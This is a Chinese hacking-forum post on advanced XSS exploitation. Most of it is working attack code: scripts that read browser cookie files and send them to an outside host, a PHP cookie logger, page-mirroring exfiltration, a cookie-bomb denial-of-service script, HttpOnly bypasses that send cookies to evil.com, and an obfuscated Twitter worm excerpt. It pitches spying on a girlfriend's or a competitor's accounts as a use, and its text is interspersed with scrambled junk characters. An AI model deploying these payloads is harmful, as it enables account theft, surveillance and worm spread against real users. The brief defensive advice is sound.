XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
+ T- D1 F) `) }; B# F! R7 X本帖最后由 racle 于 2009-5-30 09:19 编辑
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( [1 f, }9 N, b# J, ?/ U* k1 ZXSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
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! x+ d* b# Q9 b' O- m q0 Xhttp://bbs.tian6.com/thread-12711-1-1.html
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# ]! E# j5 W) U-------------------------------------------前言---------------------------------------------------------* p( T5 p0 j2 n$ `
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本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.$ N7 _5 i: i* N. y+ c5 a
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& I7 ?2 S2 A" x2 ~9 g- H$ q5 i如果你还未具备基础XSS知识,以下几个文章建议拜读:; T. B. B& M' O# B- q
http://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/ JavaScript中文简介
1 g X3 j8 P: vhttp://www.google.com/search?q=XSS+%D3%EF%BE%E4 XSS语句大全
0 w' m) K. C# ~2 h Q2 Lhttp://www.google.com/search?q=XSS+%C8%C6%B9%FD XSS语句绕过
0 J) W: P0 g3 n. p8 [http://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt FLASH CSRF- z7 [& R& h" ^* i2 k, i& n
http://bbs.tian6.com/thread-12239-1-1.html 突破XSS字符数量限制执行任意JS代码! N" y) d6 c/ y, y# Q* m! A
http://bbs.tian6.com/thread-12241-1-1.html 利用窗口引用漏洞和XSS漏洞实现浏览器劫持: K. N, J. s7 x
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* B; r* f1 [) d+ @如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.
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希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高. \& t4 J: l) ^6 X4 |4 \, M
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如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS 6次XSS蠕虫版本变化,
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Baidu xss蠕虫 感染了8700多个blog.媒体影响力,关注度巨大, ~1 a7 `8 c, s
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QQ ZONE,校内网XSS 感染过万QQ ZONE.& M5 r2 f! q8 ^! \% X
& e" B& x' k! n. s [OWASP MYSPACE XSS蠕虫 20小时内传染一百万用户,最后导致MySpace瘫痪
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- ~3 G! w& L& H% ?# m" c, C0 r& T复制代码------------------------------------------介绍-------------------------------------------------------------$ ^. e3 e5 V" W& Y) t" c
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什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.
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1 I$ h7 H# X0 p, P跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息(Cookie),由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.
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如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.( P0 ?) U$ k& I
复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
, b. Y, L' o" g. _1 V, X. @7 D我们在这里重点探讨以下几个问题:) `( T2 D1 g+ p2 h* }( c+ J
' a' K$ ^1 p2 M4 m- {+ l) U- Z1 通过XSS,我们能实现什么?) Z" M( Q9 E+ [
* L) z V% w' A4 t. ]2 n o9 ^2 r2 如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?
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& ~* G3 H' Y" J4 Q7 I# {4 d1 S3 XSS的高级利用和高级综合型XSS蠕虫的可行性?
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4 XSS漏洞在输出和输入两个方面怎么才能避免.
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7 A4 T5 J5 H4 p/ `! W------------------------------------------研究正题----------------------------------------------------------: E% e# U& t) z' ]5 V
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9 h$ l8 }0 `, _: O! H. W* ]通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.0 Z) i* e* w# m2 ]
复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫' \5 M- G! o" a& M
复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
& H5 S$ x8 w0 c4 @( v1 L1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
% U( ?! g5 V) J3 ]; L. Y2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
3 B9 J. q6 M8 A" E' G' S3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
4 Z; H5 t& E* x0 D" p1 U4:Http-only可以采用作为COOKIES保护方式之一.' A. ]+ b+ h7 X( c6 Y# S; g$ p
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(I) AJAX在不同的浏览器下的本地文件操作权限读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)
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# e$ s0 j! A% X9 Q' t1 O$ ^& z1 p+ S1 O8 b我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息: 1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的,看来MS对IE这类安全风险比较重视。(这有一些问题,随后修正!) T' |5 y2 M8 Q
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: W2 d, Y5 A: X# K6 i1 x 2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。" V% a0 N6 x% ^- T; ~ ]: y
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3: opera9.64及以下版本允许通过指定url为file://协议进行访问;如果文件在当前目录下,则不需要指定file://协议;如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。
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7 ? h" }+ o, B7 _ d 4: 基于webkit内核:google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
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4 N2 K5 T% J4 T; U0 G8 m function ajax_obj(){
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var request = false;; @( S. W# n& c* t( b& R$ X x. y
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if(window.XMLHttpRequest) {& B" D0 `& [' J& A+ z' x
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request = new XMLHttpRequest();7 U! p2 B" n1 j! r. G8 L
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} else if(window.ActiveXObject) {
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9 [) G+ b1 O) r0 R5 [( U$ T var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',5 {6 ?! |! j9 E2 O5 J) z
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0 Z: I# A7 i6 x 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
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try {9 x3 ]0 \& A1 L# b- C! s3 Q& [
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request = new ActiveXObject(versions);
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return request;
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var _x = ajax_obj();
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, |4 v0 a. f! W! ~) O0 }+ b function _7or3(_m,action,argv){
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; }! X" {# ^/ q _x.open(_m,action,false);( [3 j* M+ w c. n0 D" J
1 y* @! u0 B0 t7 `+ z( a, v$ a& H8 d if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
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return _x.responseText;
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}
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alert(txt);
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</script>
4 f! h, u% Y& b6 ] E0 p0 g复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件. <script>5 A1 e" u$ f% o* F' k' ?& I& b
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function ajax_obj(){
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var request = false;2 P% X0 G6 i* k2 W/ v
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if(window.XMLHttpRequest) {
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request = new XMLHttpRequest();) r4 k; |: A. L% N
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} else if(window.ActiveXObject) {
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var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
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" w' _) b6 _' @: T* [! q! b' T* x 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];: R9 x; U* }( Y$ l: u) u& X9 {
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for(var i=0; i<versions.length; i++) {
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try {' I+ ^/ v x9 A/ i/ _$ {8 h
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request = new ActiveXObject(versions);
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} catch(e) {}( G# U7 `1 n' M$ T! e c
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return request;
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var _x = ajax_obj();
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% e. P. L w+ d$ y% t9 N& Y5 } function _7or3(_m,action,argv){* s( _( J# \% n" W2 N, k
5 M' i' }0 k" w, S! J- S _x.open(_m,action,false);7 C& V$ z. ?3 ^$ j0 e8 d6 ^% U
9 R# |6 b5 `+ W- e n if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
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return _x.responseText;; u) j7 K8 w8 M4 R
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}
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var txt=_7or3("GET","1/11.txt",null);' N0 ?' i0 ?; b! Q
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alert(txt);7 z! u% ]& I. g8 f% O( h: V
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</script>
1 G6 l/ h- g( w* {' i8 C* O" a6 }复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”
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' I) h) M1 z* X& pChrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"5 j; g7 |% {2 r
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* Z; P2 [1 t4 S; Q# U+ k Chrome 1.0.154.53 use ajax read local txt file and upload exp
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J k6 G! ?" g' {3 E6 f; I author voidloafer@gmail.com 2009-4-22
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http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save. & Y1 ^; A) i8 j$ ?) |
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*/
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header("Content-Disposition: attachment;filename=kxlzx.htm"); 9 x5 ^- K0 y( l" i* [! y9 x
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header("Content-type: application/kxlzx"); % r/ i$ J+ l0 D2 u7 `
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/* 2 ~4 j" l1 k4 A' W' S
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set header, so just download html file,and open it at local.
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*/ ; a7 ^- l! K9 ~ G% h! W
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<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method="OST">
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1 C( S- b' V( e& a <input id="input" name="cookie" value="" type="hidden"> 7 I; z [7 S* P- p" i" U
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3 Z$ C& ]8 j: i3 i3 P0 g<script> 9 F1 u, y! u; _ P
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function doMyAjax(user) / `& H! ~1 }7 Z$ f* C7 Q# @6 j+ _
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var time = Math.random(); Z6 z9 E3 v4 X% W8 m+ M
$ y; b% \" p$ s7 @; H6 u0 ]/* ( M/ K6 C" I" A% \
( e/ K X0 u7 S3 r5 c I5 {the cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default : P$ ^( I, `5 w- h
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and the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History
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and so on...
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*/
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var strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time; F a6 B8 O/ j7 _( F
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startRequest(strPer); 6 [" J$ T/ U7 g
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; B; v0 K( \; r- y$ m. Rfunction Enshellcode(txt)
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2 U, k& L6 w" @ e& d" | U9 ]var url=new String(txt); - a+ @3 @ }) h8 J
( Q2 w4 z t- X: uvar i=0,l=0,k=0,curl="";
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$ F: c( X! Z6 j7 Cl= url.length; m; t. C0 U: {: F- Z1 `
- X. ]/ q l! [1 {2 Q: N$ Rfor(;i<l;i++){
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k=url.charCodeAt(i); + E: @9 |4 k* T% i
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if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);} / e& k: C1 S9 J5 O* |/ j7 m0 x
6 R$ a* j* c: I% M) c" V3 e4 z8 qif (l%2){curl+="00";}else{curl+="0000";}
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curl=curl.replace(/(..)(..)/g,"%u$2$1");
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9 M$ j) E8 `$ C* ereturn curl; + R" o/ e6 a7 [
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}
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var xmlHttp;
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2 }# A1 k' k( _function createXMLHttp(){ N8 r l' F) U B( K) N* P8 V
( b) \& }2 c! u if(window.XMLHttpRequest){
8 u5 W2 d6 J! G" s1 K8 L% }" |3 \5 q) }' p" x6 d: Z9 F. g4 Z
xmlHttp = new XMLHttpRequest();
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else if(window.ActiveXObject){
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xmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); 1 z" r( B D: w( k
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} # Q! O! F; o. E1 b- g9 n
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} ( V& u$ N$ @! U1 u
V: B7 V: W+ y" @6 m. q
7 I! W% j6 Z! C+ [* I5 F: S( p9 \* ~) ^' W' r& X9 y& e# u
function startRequest(doUrl){ 3 w7 e/ p- T1 F) `+ }9 x
" G2 c# p+ X% V$ v + `, U) t3 o2 f0 M* F) y
" k9 Z7 b; f0 L5 {: s8 X: e
createXMLHttp();
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( \3 R( g9 G0 I u6 b. |* [! i2 U: m2 s! e( m
3 J' A2 P* u: r3 {( b; w0 V xmlHttp.onreadystatechange = handleStateChange; - @0 E) |4 W. d+ t- M8 B; X0 Y
8 C6 I6 G+ m9 h
2 |6 S7 ^+ J: h: R+ b
3 w8 W& A: A: X/ Q( C% w v/ x# F( f xmlHttp.open("GET", doUrl, true);
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xmlHttp.send(null);
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5 K' I2 G8 Y4 x! v5 N. w5 R. @7 |* F( [7 x: q* o# o
N: |1 d4 S9 u# s1 L0 Y}
8 J$ z4 c% L4 \6 t! a6 E3 Z. |: e. |8 M
' m# O; r0 a! F' k& \ 7 K8 N' @, H: S+ z1 K% N
; \% V" C5 x, n+ w" S ^function handleStateChange(){ / H, ?7 h6 |- r
8 `+ j4 p8 N$ i% l# C if (xmlHttp.readyState == 4 ){ 5 h; W4 u, W9 i2 G" T: P
& \$ q$ w9 Z& D$ X1 p5 ` var strResponse = ""; - Z$ L( n4 G! f8 a6 E8 m
. `/ w9 t, a' ]0 K; B5 B2 [ setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000); % Q, I$ ?5 i& k
% P2 \: ~, d& ~: P6 o! X; b $ b9 y4 p. R/ c- d Z- _
" u, w4 Y0 s5 ^/ {/ g6 J }
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} % Y3 y9 } y% h: B0 p* e9 V3 }7 [2 @ O
7 S5 Y X, o$ O" O0 [
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# w$ R+ E) X! K O
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function framekxlzxPost(text)
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document.getElementById("input").value = Enshellcode(text);
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# n: J+ p# K3 I6 |3 n document.getElementById("form").submit();
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} ! p( `0 i& M' b. s; L
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doMyAjax("administrator");
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</script>
! ?4 E T; W3 z4 k4 J复制代码opera 9.52使用ajax读取本地COOKIES文件<script>
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9 n. G* X7 H' D. @var xmlHttp;
+ m! m2 @4 d4 H4 z% R9 |" Q0 Z9 q; h1 y5 x7 ^% E
function createXMLHttp(){
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if(window.XMLHttpRequest){
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xmlHttp = new XMLHttpRequest();
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else if(window.ActiveXObject){ # P/ F( m: q3 D' o! e
. j+ G8 c* w( `+ j) z xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
" | Y) c; Z9 m. D* f1 z( o4 N; q l+ N6 v: n
} U$ n9 M+ ~+ A; s+ U
5 l! B" Q+ d6 @8 i' h5 w}
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; \, a0 m, M P' b' w
8 z2 | }: B7 m3 D5 r: U* mfunction startRequest(doUrl){
+ D# b- w0 Z# W7 j% s# v% p4 V e
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createXMLHttp(); 9 e" N% p0 Q2 o- |; q3 D$ M% y
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5 z' b) | P+ F ?0 q: p
# f* D5 ~" {. o* l4 a/ H xmlHttp.onreadystatechange = handleStateChange;
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: f {6 {6 N9 F2 n5 p$ g xmlHttp.open("GET", doUrl, true);
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% H% x I A; z# O( u xmlHttp.send(null);
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9 _! l2 o" p+ X
( B' ]) t8 v& p7 W! O}
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) H' A3 @0 e$ c) a# S# a
) j- |6 y5 C( [. y- Ofunction handleStateChange(){ ' j1 x u7 g$ @! W
9 O1 r3 j) |; p: g' ~4 P1 _1 U, N4 r if (xmlHttp.readyState == 4 ){ * M* {) N" A6 U- u2 p1 P
+ U. B3 J7 `% k+ R% y* C
var strResponse = "";
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6 q3 s; I* A9 s. L& [) ]0 n setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);
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* c3 a$ C2 J6 X6 T, O& m- ^
" V# I6 F% `% Z: _2 T}
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' j2 h2 E0 ]; r: Y" b7 Q) ^function doMyAjax(user,file)
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var time = Math.random();
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+ v* s V! R% f% _+ b' [3 S9 r; k! Q
]% K$ M/ z# X. f var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time; ! z/ c: k" x9 D5 H9 `
; a6 P" z, X. F9 {$ X8 o
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, g% N4 U9 a7 Q2 c* | startRequest(strPer); * x ~- ]. ^- b( x# r
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} ' b8 J6 A9 T3 w. E! K- P) m
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5 i, \# w: S2 Z4 t( m" s
* f _5 V0 R+ q; S; K7 Efunction framekxlzxPost(text) , H# [5 z1 k4 O9 M. x/ {
+ A) {6 Q8 Z0 A1 }{ ) ~ I l* R7 b1 u: o$ C
2 k9 P6 _9 ^! v5 Z document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text); ! w0 @$ ^% A" Q. M& D
5 |3 s: j' N- x3 x
alert(/ok/); . |( `# c" T+ `# Z8 l9 L. M2 Y
( C+ \% Y6 I) w* Z) p" O
} 5 W% h- O0 w* K5 ?. v2 }/ R
5 W3 c; G9 m4 m" T
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doMyAjax('administrator','administrator@alibaba[1].txt');
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</script>* P2 ^& M' {+ F& B( c3 j6 s
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& k E. l4 T& [9 ^8 j- x# p
a.php
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<?php
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$ m$ M( c# e9 W" R7 F- o0 i$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];
% P; ~2 B) P1 J1 [' P* c* b. M2 O, W
: i& G* K3 W. `/ H- ]/ t$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];
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$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");
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fwrite($fp,$_GET["cookie"]);
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' S6 C1 Q4 m. h% Tfclose($fp);
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( w- n5 a9 } A+ n O: o?>
; n% l' [# |9 h- l4 F5 U复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:! X' O; n; W1 K! Z
& Z/ M; t( R$ g8 O3 [$ M% y或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
" A- L, w, Z' t1 o7 t' [3 i: S利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.
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代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);
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3 V1 e! e2 {/ ~( h//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);* V3 P% g8 z2 c& F& z
) `. j- @2 l- a! t//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);6 J' N7 h2 Z& e# s/ r/ l' X& b
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function getURL(s) {2 y; m: t; S6 o p
! o, f# w7 h) z% Vvar image = new Image();
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image.style.width = 0;
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( J7 }" L5 I6 r( I: {5 Kimage.style.height = 0;& e! k. O* X, x$ E; o
; n' H+ V7 V! B4 Y5 X: T* Z% Timage.src = s;" a I8 L0 A) Y
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getURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);" k2 X4 L7 Q- e' ?; W' Z+ ?
复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
! J' a# w: d+ _$ @% `2 C这里引用大风的一段简单代码:<script language="javascript">4 a. J" L5 j O' N6 G
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var metastr = "AAAAAAAAAA"; // 10 A
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% D6 d+ w3 f" R9 c; l9 p9 tvar str = "";
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, X! _; m& `5 A% q0 nwhile (str.length < 4000){
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str += metastr;
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5 Q3 P% T2 J% V0 W1 `document.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;"; // 一些老版本的webserver可能在这里还会存在XSS. I# N4 L& ^+ i$ o1 W
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</script>) W& s# Y2 ?$ _7 M
$ `, f* N6 ?' X% V q( `8 q详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html3 i8 a7 A; g4 Y3 K) I
复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
$ h, Z/ Z y D7 iserver limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=1501 O0 S. R; z/ _( @. J l% l" c
* m& l- t5 q$ }; F7 B0 S4 C: Q假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
0 l- F6 T: ] _7 c" {) j攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.6 a2 x/ Q# [! h4 m
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- `- b; D1 _+ P' R, A(III) Http only bypass 与 补救对策:" H( k+ u; x) u. p }
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什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性,用以阻止客户端脚本访问Cookie.: u. S# {9 k9 ]5 }1 K: t
以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">. x( O) c6 c8 {
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<!--( m" T. |/ V# s. e
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function normalCookie() {
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0 o& a% e% c2 B/ [7 ]5 Adocument.cookie = "TheCookieName=CookieValue_httpOnly"; ( z9 q% V/ H y# i Y% S
* N$ E$ ]3 _4 \7 l W" U) Xalert(document.cookie); C8 z! O# r5 ?; M; x
- o7 H) K; p# f}
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function httpOnlyCookie() { 1 H( o3 K0 }7 Z# t
l' {, M+ X3 g* [/ y1 Adocument.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";
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alert(document.cookie);}
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//-->0 ]3 Y$ k3 V& x- h# K( p
& b( u! ^; L2 O5 }" K</script>
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, v; Z* W+ G5 e8 S1 k<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>
0 w9 x. ~) H8 z3 Q2 S0 p
/ u" x6 x/ L6 E2 Q6 `% R1 W- x<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
( x0 O6 E* ~/ L) F# G复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>
{" f5 B, J" ~: V1 g/ U5 S# W+ v* S
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var request = false;
- `; z) w2 Y u
/ W$ [/ |7 @; `0 ?- C if(window.XMLHttpRequest) {3 O$ V: b3 m+ {$ T* |$ u
/ Q0 ~0 k3 B0 s$ i" b1 @ request = new XMLHttpRequest();
# h, l' G! _9 `; P
) h! o" @2 {) Z9 ? if(request.overrideMimeType) {
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request.overrideMimeType('text/xml');
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+ u5 A6 {5 Q: [8 F9 r' A( ~
} else if(window.ActiveXObject) {) S8 ~, o9 w- k, D. b
- Q" {9 P9 F8 e" i! I* A/ }
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
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for(var i=0; i<versions.length; i++) {) O6 [0 F+ L. @
5 Y4 h- ]0 N% p/ q! n; d2 g+ Y) K try {
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request = new ActiveXObject(versions);' i! E; R1 x7 j2 g
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} catch(e) {}
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}
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; T6 B, H1 m1 c$ _+ [+ z9 rxmlHttp=request;& m8 R0 y- H5 _! z. b; I2 N6 S
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xmlHttp.open("TRACE","http://www.vul.com",false);# a2 y8 }* i* q9 `8 |
- Z/ ^/ w0 C# |xmlHttp.send(null);
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3 ?6 u9 Q$ l1 N9 {; L2 uxmlDoc=xmlHttp.responseText;
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alert(xmlDoc);2 f9 g7 E) a. c% e1 @5 t: N- Z
# K$ C! {% Q8 `) R, w</script>2 _& u( T# s, k. q
复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>
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5 i0 U% X# g2 t+ H1 L1 N& hvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
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2 m! t( B) b+ rXmlHttp.open("GET","http://www.google.com",false);
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XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");5 G8 u1 Y' |1 n
- [" |' |- V3 O6 gXmlHttp.send(null);
% ~" d/ Q c) E0 z
_5 N. c( ?, E H+ H/ ovar resource=xmlHttp.responseText
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resource.search(/cookies/);
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......................
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</script>
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2 }5 J6 i; i8 N$ q1 w, {+ l如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求* w( ]/ J1 a. Y: H5 R z
4 n. v# W& B/ k/ j[code]
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RewriteEngine On
" U: j3 t! [* R! S, ]$ @. c! p5 V3 b; C
RewriteCond %{REQUEST_METHOD} ^TRACE
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7 D' w- S: w) o+ Y" URewriteRule .* - [F]9 d% F1 m% t: L2 v6 E4 B! I, A1 O- B
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3 \, j% G( M$ o* V( H
4 b# x% ~: l7 @, N7 |Squid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求
5 [* q7 O' E- V8 p# L$ [6 e5 I
# s/ R! _, \8 v( Yacl TRACE method TRACE. T5 i0 S5 y5 m. R# N) A* ^$ e
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...6 W+ H9 @9 B: W* _) k
9 t# c3 q) z, V/ b7 p4 A0 e! ^* Uhttp_access deny TRACE
& c) H. b0 M/ W4 m. B$ V, f: G复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>
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var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
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) `" S- d1 `7 j( V9 S6 C2 LXmlHttp.open("GET","http://www.google.com",false);
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XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");% }0 I9 k4 d; ?$ S2 ]1 i
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XmlHttp.send(null);, t$ }/ R; L: z3 p7 N' S
- \) l$ t# Z' X$ P. ?</script>
3 D, Z* H: G; A复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script># t. i4 F" V9 d: ~; V0 T
% ~7 \3 f3 [) K: a- O9 w
var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
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1 v; b# O4 j3 uXmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);
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XmlHttp.send(null);3 W3 l5 k e/ q0 q) D# ~7 E4 |
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<script>9 i. G$ |+ j" O' b. d" Q# h
复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
{; `4 U2 F3 A2 }复制代码案例:Twitter 蠕蟲五度發威
0 V* E$ V2 z( t5 z& T第一版:% Q) p' D6 N, P" h
下载 (5.1 KB)
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6 天前 08:27. W+ b% a/ L& Q3 V1 ^
# H4 x: Z4 ~9 [% e+ Q1 A1 {6 H$ l第二版: 1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", "OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];
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2.
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9 d& H8 M* M) u& O8 ^% c 3. function XHConn(){ % R Y2 S [/ q7 A
/ k1 E8 [3 J! E6 l, F2 \ 4. var _0x6687x2,_0x6687x3=false;
- J$ ^0 e P$ y
